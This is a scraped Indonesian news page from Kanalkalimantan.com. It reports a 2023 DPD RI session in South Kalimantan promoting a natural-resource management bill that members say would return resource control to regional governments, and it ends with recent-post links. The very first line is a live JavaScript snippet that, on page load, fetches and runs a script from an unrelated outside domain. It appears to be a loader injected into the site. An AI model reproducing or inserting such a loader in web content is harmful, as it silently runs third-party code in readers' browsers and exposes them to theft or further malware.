(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kalimantan Selatan

DPD RI: RUU Sistem Pengelolaan SDA Mampu Kembalikan Pengelolaan SDA ke Daerah


KANALKALIMANTAN.COM, BANJARBARU – Rancangan Undang-Undang Sistem Pengelolaan Sumber Daya Alam (RUU SP SDA) disosialisasikan oleh Dewan Perwakilan Daerah (DPD) RI di aula H Maksid, Setda Provinsi Kalimantan Selatan, Kamis (9/2/2023) siang.

RUU SP SDA disebut memiliki dimensi luas dari urusan pertambangan, perkebunan, kelautan dan perairan, lingkungan hidup, hingga soal tarik ulur kepentingan pemerintah pusat dan daerah.

Anggota DPD RI, Aji Mirni Mawarni mengatakan, banyak menerima keluhan terkait otonomi daerah. Terutama terkait banyak penyelesaian masalah yang ditarik ke pusat. Menurutnya, dengan hal tersebut pihaknya harus mendengarkan kedua belah pihak.

Dengan banyaknya kebijakan yang ditarik ke pusat, dirinya mengingatkan sumber daya manusia (SDM) pemerintah daerah sangat penting, karena akan mempengeruhi keberhasilan otonomi daerah.

 

“RUU ini guna mengakomodir, permasalahan dari pemerintah daerah yang sudah banyak ditarik oleh pusat,” ujarnya.

Sehingga menurutnya perlu adanya keseimbangan antara pemerintah daerah dan pemerintah pusat terkait kebijakan tersebut.

Baca juga: Datangi Kantor Gubernur Kalsel, Warga Kotabaru Ngadu Soal Tambang-Jembatan-Penyerobotan Tanah

Sosialisasi RUU SP SDA di Kalimantan Selatan. Foto: ibnu

Senada dengan Aji Mirni, Anggota DPD RI lainnya, Agustin Teras Narang mengatakan, banyak permasalahan yang ditemuinya terkait SDA ini. Sehingga dengan adanya RUU ini pihaknya mengklaim dapat menyeimbangkan antara kepentingan daerah, masyarakat dan investor menjadi satu kesatuan.

“Masyarakat di sini tidak dirugikan,” ujarnya.

Hal ini dikarenakan didalam RUU SP SDA ini terjadi keadilan secara merata, adanya kepastian dan kemanfaatan bagi masyarakat.

“Yang penting lagi, akan tercipta kesejahteraan bagi daerah,” katanya.

Baca juga: Baramarta Disebut Selalu Merugi, Massa Unjuk Rasa Minta Dibubarkan

Disinggung kebijakan pusat yang mengeluarkan izin tambang, dikatakan Teras, dengan adanya RUU SP SDA ini nantinya diklaim akan melibatkan pemerintah daerah dalam mengeluarkan izin tambang.

“Nanti kami minta secara tertulis (keluhan daerah) sebagai bahan,” bebernya.

Disamping itu juga, kata Teras dengan adanya RUU SP SDA ini, nantinya diharapkan mampu mengembalikan pengelolaan sumber daya ke daerah.

“Ini terkait sistem, kalau sudah bicara sistem itu artinya payung, nanti turunannya yang tadi (pengembalian pengelolaam sumber daya ke daerah), harapannya seperti itu,” tutupnya. (Kanalkalimantan.com/ibnu)

Reporter: ibnu
Editor: cell


Al Ghifari

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

2 tahun ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

2 tahun ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

2 tahun ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

2 tahun ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

2 tahun ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

2 tahun ago

This website uses cookies.